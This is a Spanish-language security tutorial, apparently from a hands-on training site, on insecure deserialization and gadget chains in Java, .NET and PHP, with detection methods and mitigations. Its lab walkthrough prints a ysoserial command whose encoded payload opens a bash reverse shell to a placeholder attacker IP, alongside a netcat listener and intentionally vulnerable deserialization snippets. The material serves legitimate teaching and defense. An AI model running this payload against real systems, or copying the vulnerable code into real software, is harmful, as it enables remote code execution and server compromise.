Aprende › Vulnerabilidades web

Deserialización insegura: gadget chains en Java (ysoserial), .NET (ysoserial.net) y PHP

· 10 min de lectura

La deserialización insegura permite ejecución remota de código al reconstruir objetos desde datos no confiables. Aprende las gadget chains de Java (ysoserial), .NET (ysoserial.net) y PHP (phpggc), cómo detectarlas y cómo mitigarlas.

Cada aplicación necesita mover datos entre procesos, servicios o capas de almacenamiento. La técnica estándar es serialización: convertir un objeto en memoria a una secuencia de bytes (o texto) que pueda viajar por la red o guardarse en disco. Al otro lado, la deserialización reconstruye el objeto original a partir de esa secuencia. Java, .NET y PHP incluyen mecanismos nativos de serialización que son rápidos y cómodos, pero que cargan un problema grave: si la aplicación deserializa datos que provienen de un usuario no confiable, un atacante puede inyectar objetos manipulados que, al reconstruirse, ejecutan código arbitrario en el servidor.

La deserialización insegura aparece en el puesto A8 de OWASP Top 10 2017 y se mantiene dentro de la categoría de fallos de integridad en la edición 2021. Ha producido algunas de las brechas más graves de la última década: el compromiso de Equifax en 2017 (Apache Struts), las cadenas de vulnerabilidades en Oracle WebLogic (T3/IIOP), el RCE de Jenkins CLI y la explotación de ViewState en SharePoint. Es la décima lección de la Tanda 9.

Prueba solo contra entornos autorizados o laboratorios. Explotar deserialización en sistemas ajenos sin permiso es intrusión y delito.

Qué es la deserialización insegura#

Serializar es empaquetar un objeto con todos sus campos y su tipo en un formato transportable. Deserializar es el proceso inverso: leer esos bytes y reconstruir el objeto en memoria. El problema aparece cuando la aplicación acepta datos serializados de una fuente que no controla (una cookie, un parámetro HTTP, un mensaje de cola, un archivo subido) y los pasa directamente al deserializador sin validar qué tipo de objeto va a reconstruir.

Deserialización insegura: el atacante inyecta un payload serializado que al deserializarse ejecuta una gadget chain y logra RCE
Deserialización insegura: el atacante inyecta un payload serializado que al deserializarse ejecuta una gadget chain y logra RCE

Durante la deserialización, el runtime invoca automáticamente métodos especiales del objeto: readObject() en Java, OnDeserialization() o el constructor en .NET, __wakeup() y __destruct() en PHP. Si el atacante controla el tipo y los campos del objeto serializado, puede encadenar llamadas a métodos de clases legítimas presentes en el classpath o en las dependencias de la aplicación. Esas cadenas se llaman gadget chains y terminan en una primitiva peligrosa: ejecución de comandos del sistema operativo, escritura arbitraria de archivos o conexión a un servidor externo.

El concepto clave es que el atacante no necesita inyectar código nuevo: reutiliza clases que ya existen en la aplicación o en sus dependencias. Por eso el ataque funciona incluso contra aplicaciones que no tienen vulnerabilidades obvias en su propio código.

Por qué ocurre: la causa raíz#

La raíz es siempre la misma: confiar en datos externos para reconstruir objetos sin restricción de tipos. Los frameworks de serialización nativos (Java ObjectInputStream, .NET BinaryFormatter, PHP unserialize) están diseñados para reconstruir cualquier clase disponible en el runtime. Si el desarrollador no restringe qué clases se permiten, el atacante elige la clase que le conviene.

Código Java vulnerable:

// Recibe bytes de la cookie y deserializa sin filtro
ObjectInputStream ois = new ObjectInputStream(
    new ByteArrayInputStream(Base64.getDecoder().decode(cookieValue))
);
Object obj = ois.readObject(); // cualquier clase del classpath

Código PHP vulnerable:

// Toma la cookie y la deserializa tal cual
$data = unserialize($_COOKIE['session_data']);
// Si la clase tiene __wakeup o __destruct con efectos laterales: RCE

Código .NET vulnerable:

// BinaryFormatter reconstruye cualquier tipo del assembly
BinaryFormatter bf = new BinaryFormatter();
object obj = bf.Deserialize(stream); // sin type filter

En los tres casos, el patrón es idéntico: la aplicación acepta datos del usuario y los pasa al deserializador sin restricción.

Tipos y variantes#

LenguajeMecanismo nativoTriggerHerramienta de payloadsIndicador en tráfico
JavaObjectInputStreamreadObject()ysoserialBytes AC ED 00 05, base64 rO0ABX
.NETBinaryFormatter, ObjectStateFormatter, Json.NET TypeNameHandlingOnDeserialization(), setterysoserial.netHeader __VIEWSTATE, TypeNameHandling en JSON
PHPunserialize()__wakeup(), __destruct(), __toString()phpggcCadena O:N o a:N en cookies o body
Node.jsnode-serializeIIFE en JSONManual o customFunciones en JSON con $$ND_FUNC$$
Pythonpickle__reduce__()ManualBytes 80 04 95 o base64 de pickle

Dónde aparece#

  • Cookies de sesión que guardan objetos serializados en lugar de IDs.
  • ViewState de ASP.NET sin firma MAC o con clave conocida.
  • Mensajes de colas (RabbitMQ, ActiveMQ, JMS) con objetos Java.
  • Protocolos RPC: Java RMI, T3 de WebLogic, IIOP.
  • Cachés distribuidas (Memcached, Redis) que almacenan objetos serializados.
  • APIs que aceptan Content-Type application/x-java-serialized-object.
  • Parámetros POST o headers con datos base64 que contienen objetos PHP.

Cómo se detecta#

SeñalMétodo
Magic bytes en tráficoBuscar AC ED 00 05 (hex) o rO0ABX (base64) en Burp
ViewState sin MACDecodificar __VIEWSTATE y verificar si tiene firma
Cookie con O: o a:Decodificar base64 y buscar formato PHP serialize
Content-Type JavaBuscar application/x-java-serialized-object en peticiones
Puertos RMI/T3Nmap con scripts para detectar Java RMI (1099) o T3 (7001)

Herramientas:

  • Java Deserialization Scanner (Burp extension): detecta y explota endpoints Java.
  • Freddy (Burp extension): detecta deserialización en Java y .NET.
  • ysoserial: genera payloads con gadget chains para Java.
  • ysoserial.net: equivalente para .NET (BinaryFormatter, Json.NET, etc.).
  • phpggc: genera cadenas POP para frameworks PHP (Laravel, Symfony, Monolog).
  • GadgetInspector: análisis estático para descubrir nuevas gadget chains en Java.

Explotación paso a paso en un laboratorio#

El laboratorio msfvenom de whoami-labs expone un servicio Java RMI vulnerable a deserialización insegura. Este walkthrough muestra el flujo completo.

Paso 1: escaneo de puertos#

nmap -sV -p- IP_DEL_LAB
# Resultado: puerto 1099 abierto (Java RMI Registry)
# Puerto 8080 con aplicación web

Paso 2: confirmar Java RMI#

nmap -sV --script rmi-dumpregistry -p 1099 IP_DEL_LAB
# Lista los objetos registrados en el RMI Registry

Paso 3: identificar gadget chains disponibles#

El atacante necesita saber qué bibliotecas usa el servidor. Cuando es Java RMI, las cadenas más comunes de Apache Commons Collections suelen estar disponibles.

# Listar gadgets disponibles en ysoserial
java -jar ysoserial.jar --list
# CommonsCollections1..7, Spring, ROME, Groovy...

Paso 4: generar el payload#

# Generar payload con CommonsCollections5 para ejecutar un comando
java -jar ysoserial.jar CommonsCollections5 \
  "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9JUF9BVEFDT05URS80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}" \
  > payload.bin

El payload codificado en base64 contiene una reverse shell hacia IP_ATACANTE:443.

Paso 5: preparar listener y enviar#

# Terminal 1: listener
nc -lvnp 443

# Terminal 2: enviar payload al RMI Registry
# Usando exploit/multi/misc/java_rmi_server en Metasploit
# o enviando el payload con un script custom
python3 exploit_rmi.py IP_DEL_LAB 1099 payload.bin

Paso 6: acceso obtenido#

La reverse shell llega al listener. El atacante tiene ejecución de código como el usuario que corre el proceso Java.

whoami
# java-app
id
# uid=1001(java-app) groups=1001(java-app)

El laboratorio no-vulnerability de whoami-labs practica el mismo concepto en Node.js: una cookie contiene un objeto serializado con node-serialize y la aplicación lo deserializa sin validar. El atacante inyecta una IIFE (Immediately Invoked Function Expression) que ejecuta comandos del sistema.

Qué puede lograr un atacante#

ImpactoDescripción
Ejecución remota de código (RCE)Comandos arbitrarios en el servidor
Compromiso total del servidorDesde RCE se escala a root o SYSTEM
Movimiento lateralPivotar a otros servicios internos desde el servidor comprometido
Exfiltración de datosLeer bases de datos, archivos de configuración, secretos
PersistenciaInstalar backdoors, crear usuarios, modificar cron
Denegación de servicioObjetos que consumen memoria o CPU al deserializarse

Cómo se corrige#

La regla fundamental: no deserializar datos de fuentes no confiables con mecanismos nativos. Si no puedes evitarlo, restringe los tipos permitidos.

Gadget chains por lenguaje: Java con ysoserial, .NET con ysoserial.net, PHP con phpggc y sus respectivas mitigaciones
Gadget chains por lenguaje: Java con ysoserial, .NET con ysoserial.net, PHP con phpggc y sus respectivas mitigaciones

Java#

Vulnerable:

ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject(); // acepta cualquier clase

Seguro (JEP 290 serialization filter):

ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "com.app.model.*;!*"  // solo permite clases del paquete propio
);
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter);
Object obj = ois.readObject();

Mejor: reemplazar serialización nativa por JSON (Jackson/Gson con type handling deshabilitado) o Protocol Buffers.

.NET#

Vulnerable:

BinaryFormatter bf = new BinaryFormatter();
object obj = bf.Deserialize(stream);

Seguro: Microsoft marcó BinaryFormatter como obsoleto en .NET 5+ y lo eliminó por defecto en .NET 9. Usar System.Text.Json o MessagePack con contratos explícitos.

Para ViewState: asegurar que EnableViewStateMac está en true (por defecto desde .NET 4.5.2) y que la clave de máquina no es predecible.

PHP#

Vulnerable:

$obj = unserialize($userInput);

Seguro:

// Opción 1: usar JSON
$data = json_decode($userInput, true);

// Opción 2: si necesitas unserialize, restringir clases
$obj = unserialize($userInput, ['allowed_classes' => ['SafeClass']]);

Errores comunes al defenderse#

  • Pensar que ofuscar el formato serializado (base64, cifrado débil) es suficiente. El atacante lo decodifica.
  • Usar BinaryFormatter en .NET porque es rápido, ignorando las advertencias de Microsoft.
  • Filtrar con blacklist de clases en lugar de whitelist. Siempre aparecen nuevas gadget chains que esquivan la blacklist.
  • Asumir que los datos internos (colas, caches) son confiables. Un atacante que compromete un servicio inyecta payloads en la cola.
  • No actualizar dependencias: las gadget chains explotan versiones específicas de bibliotecas (Commons Collections 3.1, por ejemplo). Actualizar no elimina el riesgo, pero reduce las cadenas disponibles.
  • Confiar solo en el WAF: las firmas de WAF detectan patrones conocidos pero los payloads evolucionan constantemente.

Preguntas frecuentes#

Si uso JSON en lugar de serialización nativa, estoy seguro?#

En general sí, porque JSON no reconstruye objetos con métodos arbitrarios. Pero cuidado con librerías que añaden resolución de tipos en JSON: TypeNameHandling.All en Json.NET de .NET permite instanciar cualquier clase desde JSON, lo cual es tan peligroso como BinaryFormatter. Jackson en Java con enableDefaultTyping() tiene el mismo problema. La regla: JSON sin resolución de tipos es seguro; con ella, no.

Qué diferencia hay entre gadget chain y exploit?#

Una gadget chain es la secuencia de objetos y métodos legítimos que el atacante encadena dentro de la aplicación para llegar a una primitiva peligrosa (ejecutar un comando, escribir un archivo). El exploit es el payload completo: el objeto serializado que, al deserializarse, instancia esa cadena. Herramientas como ysoserial generan el exploit completo para cada gadget chain conocida.

Si actualizo las dependencias desaparece el riesgo?#

No del todo. Actualizar elimina gadget chains conocidas de versiones viejas, pero el problema de fondo (deserializar sin filtro de tipos) persiste. Pueden aparecer nuevas cadenas en las versiones nuevas o en otras dependencias. La solución correcta es no deserializar datos externos con mecanismos nativos, o usar JEP 290 / whitelists estrictas.

Cómo detecto si mi aplicación es vulnerable?#

Revisa el código en busca de ObjectInputStream.readObject(), BinaryFormatter.Deserialize(), unserialize(), pickle.loads(). Revisa las dependencias con herramientas como GadgetInspector (Java). En black-box, busca magic bytes en el tráfico con Burp y usa las extensiones Java Deserialization Scanner y Freddy.

Log4Shell fue un fallo de deserialización?#

No exactamente. Log4Shell (CVE-2021-44228) fue una inyección de JNDI lookup que podía llevar a cargar clases remotas, lo cual termina en ejecución de código similar. Pero el vector inicial fue inyección en logs, no deserialización directa. Dicho esto, la carga de la clase remota sí usa mecanismos de deserialización Java internamente, y las mitigaciones se solapan (filtrar clases, restringir JNDI).

Dónde practico?#

El laboratorio no-vulnerability de whoami-labs tiene una aplicación Node.js/Express que guarda sesión en una cookie con node-serialize. Al deserializar la cookie, ejecuta cualquier función que el atacante inyecte como IIFE. El laboratorio msfvenom expone Java RMI y practicas el flujo completo con ysoserial: generar payload, enviarlo al registro RMI y obtener reverse shell.

Resumen#

  • La deserialización insegura permite RCE cuando la aplicación reconstruye objetos desde datos no confiables sin restringir los tipos.
  • Cada lenguaje tiene su variante: Java (ObjectInputStream), .NET (BinaryFormatter), PHP (unserialize), Node.js (node-serialize), Python (pickle).
  • Las gadget chains encadenan clases legítimas del classpath para ejecutar comandos. Herramientas como ysoserial, ysoserial.net y phpggc automatizan la generación de payloads.
  • Detección: magic bytes en tráfico (AC ED 00 05, rO0ABX), ViewState sin firma, cookies con formato PHP serialize.
  • Corrección: no usar serialización nativa para datos externos, o aplicar whitelists estrictas de tipos (JEP 290 en Java, allowed_classes en PHP). Preferir JSON o Protocol Buffers sin resolución de tipos.
  • Casos reales: Equifax, WebLogic T3, Jenkins CLI, SharePoint ViewState. Sigue apareciendo en auditorías y bug bounties en 2026.

Fuentes y lecturas recomendadas#

Practícalo en estos laboratorios

Ver todos los laboratorios de esta categoría